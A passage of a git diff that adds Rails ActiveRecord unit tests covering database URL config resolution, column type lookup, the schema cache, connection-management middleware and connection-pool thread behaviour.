+        assert_equal expected, actual
+      end
+
+      def test_url_sub_key
+        config   = { "default_env" => { "url" => "postgres://localhost/foo" } }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_hash
+        config = { "production" => { "adapter" => "postgres", "database" => "foo" } }
+        actual = resolve_config(config)
+        assert_equal config, actual
+      end
+
+      def test_blank
+        config = {}
+        actual = resolve_config(config)
+        assert_equal config, actual
+      end
+
+      def test_blank_with_database_url
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+
+        config   = {}
+        actual   = resolve_config(config)
+        expected = { "adapter"  => "postgresql",
+                     "database" => "foo",
+                     "host"     => "localhost" }
+        assert_equal expected, actual["default_env"]
+        assert_nil actual["production"]
+        assert_nil actual["development"]
+        assert_nil actual["test"]
+        assert_nil actual[:default_env]
+        assert_nil actual[:production]
+        assert_nil actual[:development]
+        assert_nil actual[:test]
+      end
+
+      def test_blank_with_database_url_with_rails_env
+        ENV["RAILS_ENV"] = "not_production"
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+
+        config   = {}
+        actual   = resolve_config(config)
+        expected = { "adapter"  => "postgresql",
+                     "database" => "foo",
+                     "host"     => "localhost" }
+
+        assert_equal expected, actual["not_production"]
+        assert_nil actual["production"]
+        assert_nil actual["default_env"]
+        assert_nil actual["development"]
+        assert_nil actual["test"]
+        assert_nil actual[:default_env]
+        assert_nil actual[:not_production]
+        assert_nil actual[:production]
+        assert_nil actual[:development]
+        assert_nil actual[:test]
+      end
+
+      def test_blank_with_database_url_with_rack_env
+        ENV["RACK_ENV"] = "not_production"
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+
+        config   = {}
+        actual   = resolve_config(config)
+        expected = { "adapter"  => "postgresql",
+                     "database" => "foo",
+                     "host"     => "localhost" }
+
+        assert_equal expected, actual["not_production"]
+        assert_nil actual["production"]
+        assert_nil actual["default_env"]
+        assert_nil actual["development"]
+        assert_nil actual["test"]
+        assert_nil actual[:default_env]
+        assert_nil actual[:not_production]
+        assert_nil actual[:production]
+        assert_nil actual[:development]
+        assert_nil actual[:test]
+      end
+
+      def test_database_url_with_ipv6_host_and_port
+        ENV["DATABASE_URL"] = "postgres://[::1]:5454/foo"
+
+        config   = {}
+        actual   = resolve_config(config)
+        expected = { "adapter"  => "postgresql",
+                     "database" => "foo",
+                     "host"     => "::1",
+                     "port"     => 5454 }
+        assert_equal expected, actual["default_env"]
+      end
+
+      def test_url_sub_key_with_database_url
+        ENV["DATABASE_URL"] = "NOT-POSTGRES://localhost/NOT_FOO"
+
+        config   = { "default_env" => { "url" => "postgres://localhost/foo" } }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                    { "adapter" => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_merge_no_conflicts_with_database_url
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+
+        config   = { "default_env" => { "pool" => "5" } }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost",
+                       "pool"     => "5"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_merge_conflicts_with_database_url
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+
+        config   = { "default_env" => { "adapter" => "NOT-POSTGRES", "database" => "NOT-FOO", "pool" => "5" } }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost",
+                       "pool"     => "5"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb
new file mode 100644
index 0000000000..7c41050eaa
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+if current_adapter?(:Mysql2Adapter)
+  module ActiveRecord
+    module ConnectionAdapters
+      class MysqlTypeLookupTest < ActiveRecord::TestCase
+        setup do
+          @connection = ActiveRecord::Base.connection
+        end
+
+        def test_boolean_types
+          emulate_booleans(true) do
+            assert_lookup_type :boolean, "tinyint(1)"
+            assert_lookup_type :boolean, "TINYINT(1)"
+          end
+        end
+
+        def test_string_types
+          assert_lookup_type :string, "enum('one', 'two', 'three')"
+          assert_lookup_type :string, "ENUM('one', 'two', 'three')"
+          assert_lookup_type :string, "set('one', 'two', 'three')"
+          assert_lookup_type :string, "SET('one', 'two', 'three')"
+        end
+
+        def test_set_type_with_value_matching_other_type
+          assert_lookup_type :string, "SET('unicode', '8bit', 'none', 'time')"
+        end
+
+        def test_enum_type_with_value_matching_other_type
+          assert_lookup_type :string, "ENUM('unicode', '8bit', 'none')"
+        end
+
+        def test_binary_types
+          assert_lookup_type :binary, "bit"
+          assert_lookup_type :binary, "BIT"
+        end
+
+        def test_integer_types
+          emulate_booleans(false) do
+            assert_lookup_type :integer, "tinyint(1)"
+            assert_lookup_type :integer, "TINYINT(1)"
+            assert_lookup_type :integer, "year"
+            assert_lookup_type :integer, "YEAR"
+          end
+        end
+
+        private
+
+          def assert_lookup_type(type, lookup)
+            cast_type = @connection.send(:type_map).lookup(lookup)
+            assert_equal type, cast_type.type
+          end
+
+          def emulate_booleans(value)
+            old_emulate_booleans = @connection.emulate_booleans
+            change_emulate_booleans(value)
+            yield
+          ensure
+            change_emulate_booleans(old_emulate_booleans)
+          end
+
+          def change_emulate_booleans(value)
+            @connection.emulate_booleans = value
+            @connection.clear_cache!
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/schema_cache_test.rb b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
new file mode 100644
index 0000000000..006be9e65d
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class SchemaCacheTest < ActiveRecord::TestCase
+      def setup
+        connection = ActiveRecord::Base.connection
+        @cache     = SchemaCache.new connection
+      end
+
+      def test_primary_key
+        assert_equal "id", @cache.primary_keys("posts")
+      end
+
+      def test_yaml_dump_and_load
+        @cache.columns("posts")
+        @cache.columns_hash("posts")
+        @cache.data_sources("posts")
+        @cache.primary_keys("posts")
+
+        new_cache = YAML.load(YAML.dump(@cache))
+        assert_no_queries do
+          assert_equal 11, new_cache.columns("posts").size
+          assert_equal 11, new_cache.columns_hash("posts").size
+          assert new_cache.data_sources("posts")
+          assert_equal "id", new_cache.primary_keys("posts")
+        end
+      end
+
+      def test_yaml_loads_5_1_dump
+        body = File.open(schema_dump_path).read
+        cache = YAML.load(body)
+
+        assert_no_queries do
+          assert_equal 11, cache.columns("posts").size
+          assert_equal 11, cache.columns_hash("posts").size
+          assert cache.data_sources("posts")
+          assert_equal "id", cache.primary_keys("posts")
+        end
+      end
+
+      def test_primary_key_for_non_existent_table
+        assert_nil @cache.primary_keys("omgponies")
+      end
+
+      def test_caches_columns
+        columns = @cache.columns("posts")
+        assert_equal columns, @cache.columns("posts")
+      end
+
+      def test_caches_columns_hash
+        columns_hash = @cache.columns_hash("posts")
+        assert_equal columns_hash, @cache.columns_hash("posts")
+      end
+
+      def test_clearing
+        @cache.columns("posts")
+        @cache.columns_hash("posts")
+        @cache.data_sources("posts")
+        @cache.primary_keys("posts")
+
+        @cache.clear!
+
+        assert_equal 0, @cache.size
+      end
+
+      def test_dump_and_load
+        @cache.columns("posts")
+        @cache.columns_hash("posts")
+        @cache.data_sources("posts")
+        @cache.primary_keys("posts")
+
+        @cache = Marshal.load(Marshal.dump(@cache))
+
+        assert_no_queries do
+          assert_equal 11, @cache.columns("posts").size
+          assert_equal 11, @cache.columns_hash("posts").size
+          assert @cache.data_sources("posts")
+          assert_equal "id", @cache.primary_keys("posts")
+        end
+      end
+
+      def test_data_source_exist
+        assert @cache.data_source_exists?("posts")
+        assert_not @cache.data_source_exists?("foo")
+      end
+
+      def test_clear_data_source_cache
+        @cache.clear_data_source_cache!("posts")
+      end
+
+      private
+
+        def schema_dump_path
+          "test/assets/schema_dump_5_1.yml"
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/type_lookup_test.rb b/activerecord/test/cases/connection_adapters/type_lookup_test.rb
new file mode 100644
index 0000000000..917a04ebc3
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/type_lookup_test.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+unless current_adapter?(:PostgreSQLAdapter) # PostgreSQL does not use type strings for lookup
+  module ActiveRecord
+    module ConnectionAdapters
+      class TypeLookupTest < ActiveRecord::TestCase
+        setup do
+          @connection = ActiveRecord::Base.connection
+        end
+
+        def test_boolean_types
+          assert_lookup_type :boolean, "boolean"
+          assert_lookup_type :boolean, "BOOLEAN"
+        end
+
+        def test_string_types
+          assert_lookup_type :string, "char"
+          assert_lookup_type :string, "varchar"
+          assert_lookup_type :string, "VARCHAR"
+          assert_lookup_type :string, "varchar(255)"
+          assert_lookup_type :string, "character varying"
+        end
+
+        def test_binary_types
+          assert_lookup_type :binary, "binary"
+          assert_lookup_type :binary, "BINARY"
+          assert_lookup_type :binary, "blob"
+          assert_lookup_type :binary, "BLOB"
+        end
+
+        def test_text_types
+          assert_lookup_type :text, "text"
+          assert_lookup_type :text, "TEXT"
+          assert_lookup_type :text, "clob"
+          assert_lookup_type :text, "CLOB"
+        end
+
+        def test_date_types
+          assert_lookup_type :date, "date"
+          assert_lookup_type :date, "DATE"
+        end
+
+        def test_time_types
+          assert_lookup_type :time, "time"
+          assert_lookup_type :time, "TIME"
+        end
+
+        def test_datetime_types
+          assert_lookup_type :datetime, "datetime"
+          assert_lookup_type :datetime, "DATETIME"
+          assert_lookup_type :datetime, "timestamp"
+          assert_lookup_type :datetime, "TIMESTAMP"
+        end
+
+        def test_decimal_types
+          assert_lookup_type :decimal, "decimal"
+          assert_lookup_type :decimal, "decimal(2,8)"
+          assert_lookup_type :decimal, "DECIMAL"
+          assert_lookup_type :decimal, "numeric"
+          assert_lookup_type :decimal, "numeric(2,8)"
+          assert_lookup_type :decimal, "NUMERIC"
+          assert_lookup_type :decimal, "number"
+          assert_lookup_type :decimal, "number(2,8)"
+          assert_lookup_type :decimal, "NUMBER"
+        end
+
+        def test_float_types
+          assert_lookup_type :float, "float"
+          assert_lookup_type :float, "FLOAT"
+          assert_lookup_type :float, "double"
+          assert_lookup_type :float, "DOUBLE"
+        end
+
+        def test_integer_types
+          assert_lookup_type :integer, "integer"
+          assert_lookup_type :integer, "INTEGER"
+          assert_lookup_type :integer, "tinyint"
+          assert_lookup_type :integer, "smallint"
+          assert_lookup_type :integer, "bigint"
+        end
+
+        def test_bigint_limit
+          cast_type = @connection.send(:type_map).lookup("bigint")
+          if current_adapter?(:OracleAdapter)
+            assert_equal 19, cast_type.limit
+          else
+            assert_equal 8, cast_type.limit
+          end
+        end
+
+        def test_decimal_without_scale
+          if current_adapter?(:OracleAdapter)
+            {
+              decimal: %w{decimal(2) decimal(2,0) numeric(2) numeric(2,0)},
+              integer: %w{number(2) number(2,0)}
+            }
+          else
+            { decimal: %w{decimal(2) decimal(2,0) numeric(2) numeric(2,0) number(2) number(2,0)} }
+          end.each do |expected_type, types|
+            types.each do |type|
+              cast_type = @connection.send(:type_map).lookup(type)
+
+              assert_equal expected_type, cast_type.type
+              assert_equal 2, cast_type.cast(2.1)
+            end
+          end
+        end
+
+        private
+
+          def assert_lookup_type(type, lookup)
+            cast_type = @connection.send(:type_map).lookup(lookup)
+            assert_equal type, cast_type.type
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb
new file mode 100644
index 0000000000..9d6ecbde78
--- /dev/null
+++ b/activerecord/test/cases/connection_management_test.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "rack"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionManagementTest < ActiveRecord::TestCase
+      self.use_transactional_tests = false
+
+      class App
+        attr_reader :calls
+        def initialize
+          @calls = []
+        end
+
+        def call(env)
+          @calls << env
+          [200, {}, ["hi mom"]]
+        end
+      end
+
+      def setup
+        @env = {}
+        @app = App.new
+        @management = middleware(@app)
+
+        # make sure we have an active connection
+        assert ActiveRecord::Base.connection
+        assert ActiveRecord::Base.connection_handler.active_connections?
+      end
+
+      def test_app_delegation
+        manager = middleware(@app)
+
+        manager.call @env
+        assert_equal [@env], @app.calls
+      end
+
+      def test_body_responds_to_each
+        _, _, body = @management.call(@env)
+        bits = []
+        body.each { |bit| bits << bit }
+        assert_equal ["hi mom"], bits
+      end
+
+      def test_connections_are_cleared_after_body_close
+        _, _, body = @management.call(@env)
+        body.close
+        assert !ActiveRecord::Base.connection_handler.active_connections?
+      end
+
+      def test_active_connections_are_not_cleared_on_body_close_during_transaction
+        ActiveRecord::Base.transaction do
+          _, _, body = @management.call(@env)
+          body.close
+          assert ActiveRecord::Base.connection_handler.active_connections?
+        end
+      end
+
+      def test_connections_closed_if_exception
+        app       = Class.new(App) { def call(env); raise NotImplementedError; end }.new
+        explosive = middleware(app)
+        assert_raises(NotImplementedError) { explosive.call(@env) }
+        assert !ActiveRecord::Base.connection_handler.active_connections?
+      end
+
+      def test_connections_not_closed_if_exception_inside_transaction
+        ActiveRecord::Base.transaction do
+          app               = Class.new(App) { def call(env); raise RuntimeError; end }.new
+          explosive         = middleware(app)
+          assert_raises(RuntimeError) { explosive.call(@env) }
+          assert ActiveRecord::Base.connection_handler.active_connections?
+        end
+      end
+
+      test "doesn't clear active connections when running in a test case" do
+        executor.wrap do
+          @management.call(@env)
+          assert ActiveRecord::Base.connection_handler.active_connections?
+        end
+      end
+
+      test "proxy is polite to its body and responds to it" do
+        body = Class.new(String) { def to_path; "/path"; end }.new
+        app = lambda { |_| [200, {}, body] }
+        response_body = middleware(app).call(@env)[2]
+        assert response_body.respond_to?(:to_path)
+        assert_equal "/path", response_body.to_path
+      end
+
+      test "doesn't mutate the original response" do
+        original_response = [200, {}, "hi"]
+        app = lambda { |_| original_response }
+        middleware(app).call(@env)[2]
+        assert_equal "hi", original_response.last
+      end
+
+      private
+        def executor
+          @executor ||= Class.new(ActiveSupport::Executor).tap do |exe|
+            ActiveRecord::QueryCache.install_executor_hooks(exe)
+          end
+        end
+
+        def middleware(app)
+          lambda do |env|
+            a, b, c = executor.wrap { app.call(env) }
+            [a, b, Rack::BodyProxy.new(c) {}]
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
new file mode 100644
index 0000000000..2bfe490602
--- /dev/null
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -0,0 +1,569 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "concurrent/atomic/count_down_latch"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionPoolTest < ActiveRecord::TestCase
+      attr_reader :pool
+
+      def setup
+        super
+
+        # Keep a duplicate pool so we do not bother others
+        @pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+
+        if in_memory_db?
+          # Separate connections to an in-memory database create an entirely new database,
+          # with an empty schema etc, so we just stub out this schema on the fly.
+          @pool.with_connection do |connection|
+            connection.create_table :posts do |t|
+              t.integer :cololumn
+            end
+          end
+        end
+      end
+
+      teardown do
+        @pool.disconnect!
+      end
+
+      def active_connections(pool)
+        pool.connections.find_all(&:in_use?)
+      end
+
+      def test_checkout_after_close
+        connection = pool.connection
+        assert connection.in_use?
+
+        connection.close
+        assert !connection.in_use?
+
+        assert pool.connection.in_use?
+      end
+
+      def test_released_connection_moves_between_threads
+        thread_conn = nil
+
+        Thread.new {
+          pool.with_connection do |conn|
+            thread_conn = conn
+          end
+        }.join
+
+        assert thread_conn
+
+        Thread.new {
+          pool.with_connection do |conn|
+            assert_equal thread_conn, conn
+          end
+        }.join
+      end
+
+      def test_with_connection
+        assert_equal 0, active_connections(pool).size
+
+        main_thread = pool.connection
+        assert_equal 1, active_connections(pool).size
+
+        Thread.new {
+          pool.with_connection do |conn|
+            assert conn
+            assert_equal 2, active_connections(pool).size
+          end
+          assert_equal 1, active_connections(pool).size
+        }.join
+
+        main_thread.close
+        assert_equal 0, active_connections(pool).size
+      end
+
+      def test_active_connection_in_use
+        assert !pool.active_connection?
+        main_thread = pool.connection
+
+        assert pool.active_connection?
+
+        main_thread.close
+
+        assert !pool.active_connection?
+      end
+
+      def test_full_pool_exception
+        @pool.size.times { @pool.checkout }
+        assert_raises(ConnectionTimeoutError) do
+          @pool.checkout
+        end
+      end
+
+      def test_full_pool_blocks
+        cs = @pool.size.times.map { @pool.checkout }
+        t = Thread.new { @pool.checkout }
+
+        # make sure our thread is in the timeout section
+        Thread.pass until @pool.num_waiting_in_queue == 1
+
+        connection = cs.first
+        connection.close
+        assert_equal connection, t.join.value
+      end
+
+      def test_removing_releases_latch
+        cs = @pool.size.times.map { @pool.checkout }
+        t = Thread.new { @pool.checkout }
+
+        # make sure our thread is in the timeout section
+        Thread.pass until @pool.num_waiting_in_queue == 1
+
+        connection = cs.first
+        @pool.remove connection
+        assert_respond_to t.join.value, :execute
+        connection.close
+      end
+
+      def test_reap_and_active
+        @pool.checkout
+        @pool.checkout
+        @pool.checkout
+
+        connections = @pool.connections.dup
+
+        @pool.reap
+
+        assert_equal connections.length, @pool.connections.length
+      end
+
+      def test_reap_inactive
+        ready = Concurrent::CountDownLatch.new
+        @pool.checkout
+        child = Thread.new do
+          @pool.checkout
+          @pool.checkout
+          ready.count_down
+          Thread.stop
+        end
+        ready.wait
+
+        assert_equal 3, active_connections(@pool).size
+
+        child.terminate
+        child.join
+        @pool.reap
+
+        assert_equal 1, active_connections(@pool).size
+      ensure
+        @pool.connections.each { |conn| conn.close if conn.in_use? }
+      end
+
+      def test_remove_connection
+        conn = @pool.checkout
+        assert conn.in_use?
+
+        length = @pool.connections.length
+        @pool.remove conn
+        assert conn.in_use?
+        assert_equal(length - 1, @pool.connections.length)
+      ensure
+        conn.close
+      end
+
+      def test_remove_connection_for_thread
+        conn = @pool.connection
+        @pool.remove conn
+        assert_not_equal(conn, @pool.connection)
+      ensure
+        conn.close if conn
+      end
+
+      def test_active_connection?
+        assert !@pool.active_connection?
+        assert @pool.connection
+        assert @pool.active_connection?
+        @pool.release_connection
+        assert !@pool.active_connection?
+      end
+
+      def test_checkout_behaviour
+        pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+        main_connection = pool.connection
+        assert_not_nil main_connection
+        threads = []
+        4.times do |i|
+          threads << Thread.new(i) do
+            thread_connection = pool.connection
+            assert_not_nil thread_connection
+            thread_connection.close
+          end
+        end
+
+        threads.each(&:join)
+
+        Thread.new do
+          assert pool.connection
+          pool.connection.close
+        end.join
+      end
+
+      # The connection pool is "fair" if threads waiting for
+      # connections receive them in the order in which they began
+      # waiting.  This ensures that we don't timeout one HTTP request
+      # even while well under capacity in a multi-threaded environment
+      # such as a Java servlet container.
+      #
+      # We don't need strict fairness: if two connections become
+      # available at the same time, it's fine if two threads that were
+      # waiting acquire the connections out of order.
+      #
+      # Thus this test prepares waiting threads and then trickles in
+      # available connections slowly, ensuring the wakeup order is
+      # correct in this case.
+      def test_checkout_fairness
+        @pool.instance_variable_set(:@size, 10)
+        expected = (1..@pool.size).to_a.freeze
+        # check out all connections so our threads start out waiting
+        conns = expected.map { @pool.checkout }
+        mutex = Mutex.new
+        order = []
+        errors = []
+
+        threads = expected.map do |i|
+          t = Thread.new {
+            begin
+              @pool.checkout # never checked back in
+              mutex.synchronize { order << i }
+            rescue => e
+              mutex.synchronize { errors << e }
+            end
+          }
+          Thread.pass until @pool.num_waiting_in_queue == i
+          t
+        end
+
+        # this should wake up the waiting threads one by one in order
+        conns.each { |conn| @pool.checkin(conn); sleep 0.1 }
+
+        threads.each(&:join)
+
+        raise errors.first if errors.any?
+
+        assert_equal(expected, order)
+      end
+
+      # As mentioned in #test_checkout_fairness, we don't care about
+      # strict fairness.  This test creates two groups of threads:
+      # group1 whose members all start waiting before any thread in
+      # group2.  Enough connections are checked in to wakeup all
+      # group1 threads, and the fact that only group1 and no group2
+      # threads acquired a connection is enforced.
+      def test_checkout_fairness_by_group
+        @pool.instance_variable_set(:@size, 10)
+        # take all the connections
+        conns = (1..10).map { @pool.checkout }
+        mutex = Mutex.new
+        successes = []    # threads that successfully got a connection
+        errors = []
+
+        make_thread = proc do |i|
+          t = Thread.new {
+            begin
+              @pool.checkout # never checked back in
+              mutex.synchronize { successes << i }
+            rescue => e
+              mutex.synchronize { errors << e }
+            end
+          }
+          Thread.pass until @pool.num_waiting_in_queue == i
+          t
+        end
+
+        # all group1 threads start waiting before any in group2
+        group1 = (1..5).map(&make_thread)
+        group2 = (6..10).map(&make_thread)
+
+        # checkin n connections back to the pool
+        checkin = proc do |n|
+          n.times do
+            c = conns.pop
+            @pool.checkin(c)
+          end
+        end
+
+        checkin.call(group1.size)         # should wake up all group1
+
+        loop do
+          sleep 0.1
+          break if mutex.synchronize { (successes.size + errors.size) == group1.size }
+        end
+
+        winners = mutex.synchronize { successes.dup }
+        checkin.call(group2.size)         # should wake up everyone remaining
+
+        group1.each(&:join)
+        group2.each(&:join)
+
+        assert_equal((1..group1.size).to_a, winners.sort)
+
+        if errors.any?
+          raise errors.first
+        end
+      end
+
+      def test_automatic_reconnect_restores_after_disconnect
+        pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+        assert pool.automatic_reconnect
+        assert pool.connection
+
+        pool.disconnect!
+        assert pool.connection
+      end
+
+      def test_automatic_reconnect_can_be_disabled
+        pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+        pool.disconnect!
+        pool.automatic_reconnect = false
+
+        assert_raises(ConnectionNotEstablished) do
+          pool.connection
+        end
+
+        assert_raises(ConnectionNotEstablished) do
+          pool.with_connection
+        end
+      end
+
+      def test_pool_sets_connection_visitor
+        assert @pool.connection.visitor.is_a?(Arel::Visitors::ToSql)
+      end
+
+      # make sure exceptions are thrown when establish_connection
+      # is called with an anonymous class
+      def test_anonymous_class_exception
+        anonymous = Class.new(ActiveRecord::Base)
+
+        assert_raises(RuntimeError) do
+          anonymous.establish_connection
+        end
+      end
+
+      class ConnectionTestModel < ActiveRecord::Base
+      end
+
+      def test_connection_notification_is_called
+        payloads = []
+        subscription = ActiveSupport::Notifications.subscribe("!connection.active_record") do |name, started, finished, unique_id, payload|
+          payloads << payload
+        end
+        ConnectionTestModel.establish_connection :arunit
+
+        assert_equal [:config, :connection_id, :spec_name], payloads[0].keys.sort
+        assert_equal "ActiveRecord::ConnectionAdapters::ConnectionPoolTest::ConnectionTestModel", payloads[0][:spec_name]
+      ensure
+        ActiveSupport::Notifications.unsubscribe(subscription) if subscription
+      end
+
+      def test_pool_sets_connection_schema_cache
+        connection = pool.checkout
+        schema_cache = SchemaCache.new connection
+        schema_cache.add(:posts)
+        pool.schema_cache = schema_cache
+
+        pool.with_connection do |conn|
+          assert_not_same pool.schema_cache, conn.schema_cache
+          assert_equal pool.schema_cache.size, conn.schema_cache.size
+          assert_same pool.schema_cache.columns(:posts), conn.schema_cache.columns(:posts)
+        end
+
+        pool.checkin connection
+      end
+
+      def test_concurrent_connection_establishment
+        assert_operator @pool.connections.size, :<=, 1
+
+        all_threads_in_new_connection = Concurrent::CountDownLatch.new(@pool.size - @pool.connections.size)
+        all_go                        = Concurrent::CountDownLatch.new
+
+        @pool.singleton_class.class_eval do
+          define_method(:new_connection) do
+            all_threads_in_new_connection.count_down
+            all_go.wait
+            super()
+          end
+        end
+
+        connecting_threads = []
+        @pool.size.times do
+          connecting_threads << Thread.new { @pool.checkout }
+        end
+
+        begin
+          Timeout.timeout(5) do
+            # the kernel of the whole test is here, everything else is just scaffolding,
+            # this latch will not be released unless conn. pool allows for concurrent
+            # connection creation
+            all_threads_in_new_connection.wait
+          end
+        rescue Timeout::Error
+          flunk "pool unable to establish connections concurrently or implementation has " \
+                "changed, this test then needs to patch a different :new_connection method"
+        ensure
+          # clean up the threads
+          all_go.count_down
+          connecting_threads.map(&:join)
+        end
+      end
+
+      def test_non_bang_disconnect_and_clear_reloadable_connections_throw_exception_if_threads_dont_return_their_conns
+        @pool.checkout_timeout = 0.001 # no need to delay test suite by waiting the whole full default timeout
+        [:disconnect, :clear_reloadable_connections].each do |group_action_method|
+          @pool.with_connection do |connection|
+            assert_raises(ExclusiveConnectionTimeoutError) do
+              Thread.new { @pool.send(group_action_method) }.join
+            end
+          end
+        end
+      end
+
+      def test_disconnect_and_clear_reloadable_connections_attempt_to_wait_for_threads_to_return_their_conns
+        [:disconnect, :disconnect!, :clear_reloadable_connections, :clear_reloadable_connections!].each do |group_action_method|
+          begin
+            thread = timed_join_result = nil
+            @pool.with_connection do |connection|
+              thread = Thread.new { @pool.send(group_action_method) }
+
+              # give the other `thread` some time to get stuck in `group_action_method`
+              timed_join_result = thread.join(0.3)
+              # thread.join # => `nil` means the other thread hasn't finished running and is still waiting for us to
+              # release our connection
+              assert_nil timed_join_result
+
+              # assert that since this is within default timeout our connection hasn't been forcefully taken away from us
+              assert @pool.active_connection?
+            end
+          ensure
+            thread.join if thread && !timed_join_result # clean up the other thread
+          end
+        end
+      end
+
+      def test_bang_versions_of_disconnect_and_clear_reloadable_connections_if_unable_to_acquire_all_connections_proceed_anyway
+        @pool.checkout_timeout = 0.001 # no need to delay test suite by waiting the whole full default timeout
+        [:disconnect!, :clear_reloadable_connections!].each do |group_action_method|
+          @pool.with_connection do |connection|
+            Thread.new { @pool.send(group_action_method) }.join
+            # assert connection has been forcefully taken away from us
+            assert_not @pool.active_connection?
+
+            # make a new connection for with_connection to clean up
+            @pool.connection
+          end
+        end
+      end
+
+      def test_disconnect_and_clear_reloadable_connections_are_able_to_preempt_other_waiting_threads
+        with_single_connection_pool do |pool|
+          [:disconnect, :disconnect!, :clear_reloadable_connections, :clear_reloadable_connections!].each do |group_action_method|
+            conn               = pool.connection # drain the only available connection
+            second_thread_done = Concurrent::Event.new
+
+            begin
+              # create a first_thread and let it get into the FIFO queue first
+              first_thread = Thread.new do
+                pool.with_connection { second_thread_done.wait }
+              end
+
+              # wait for first_thread to get in queue
+              Thread.pass until pool.num_waiting_in_queue == 1
+
+              # create a different, later thread, that will attempt to do a "group action",
+              # but because of the group action semantics it should be able to preempt the
+              # first_thread when a connection is made available
+              second_thread = Thread.new do
+                pool.send(group_action_method)
+                second_thread_done.set
+              end
+
+              # wait for second_thread to get in queue
+              Thread.pass until pool.num_waiting_in_queue == 2
+
+              # return the only available connection
+              pool.checkin(conn)
+
+              # if the second_thread is not able to preempt the first_thread,
+              # they will temporarily (until either of them timeouts with ConnectionTimeoutError)
+              # deadlock and a join(2) timeout will be reached
+              assert second_thread.join(2), "#{group_action_method} is not able to preempt other waiting threads"
+
+            ensure
+              # post test clean up
+              failed = !second_thread_done.set?
+
+              if failed
+                second_thread_done.set
+
+                first_thread.join(2)
+                second_thread.join(2)
+              end
+
+              first_thread.join(10) || raise("first_thread got stuck")
+              second_thread.join(10) || raise("second_thread got stuck")
+            end
+          end
+        end
+      end
+
+      def test_clear_reloadable_connections_creates_new_connections_for_waiting_threads_if_necessary
+        with_single_connection_pool do |pool|
+          conn = pool.connection # drain the only available connection
+          def conn.requires_reloading? # make sure it gets removed from the pool by clear_reloadable_connections
+            true
+          end
+
+          stuck_thread = Thread.new do
+            pool.with_connection {}
+          end
+
+          # wait for stuck_thread to get in queue
+          Thread.pass until pool.num_waiting_in_queue == 1
+
+          pool.clear_reloadable_connections
+
+          unless stuck_thread.join(2)
+            flunk "clear_reloadable_connections must not let other connection waiting threads get stuck in queue"
+          end
+
+          assert_equal 0, pool.num_waiting_in_queue
+        end
+      end
+
+      def test_connection_pool_stat
+        with_single_connection_pool do |pool|
+          pool.with_connection do |connection|
+            stats = pool.stat
+            assert_equal({ size: 1, connections: 1, busy: 1, dead: 0, idle: 0, waiting: 0, checkout_timeout: 5 }, stats)
+          end
+
+          stats = pool.stat
+          assert_equal({ size: 1, connections: 1, busy: 0, dead: 0, idle: 1, waiting: 0, checkout_timeout: 5 }, stats)
+
+          Thread.new do
+            pool.checkout
+            Thread.current.kill
+          end.join
+
+          stats = pool.stat
+          assert_equal({ size: 1, connections: 1, busy: 0, dead: 1, idle: 0, waiting: 0, checkout_timeout: 5 }, stats)
+        end
+      end
+
+      private
+        def with_single_connection_pool
+          one_conn_spec = ActiveRecord::Base.connection_pool.spec.dup
+          one_conn_spec.config[:pool] = 1 # this is safe to do, because .dupped ConnectionSpecification also auto-dups its config
+          yield(pool = ConnectionPool.new(one_conn_spec))
+        ensure
+          pool.disconnect! if pool
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
new file mode 100644
index 0000000000..3fa0ca8366
--- /dev/null
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionSpecification
+      class ResolverTest < ActiveRecord::TestCase
+        def resolve(spec, config = {})
+          Resolver.new(config).resolve(spec)
+        end
+
+        def spec(spec, config = {})
+          Resolver.new(config).spec(spec)
+        end
+
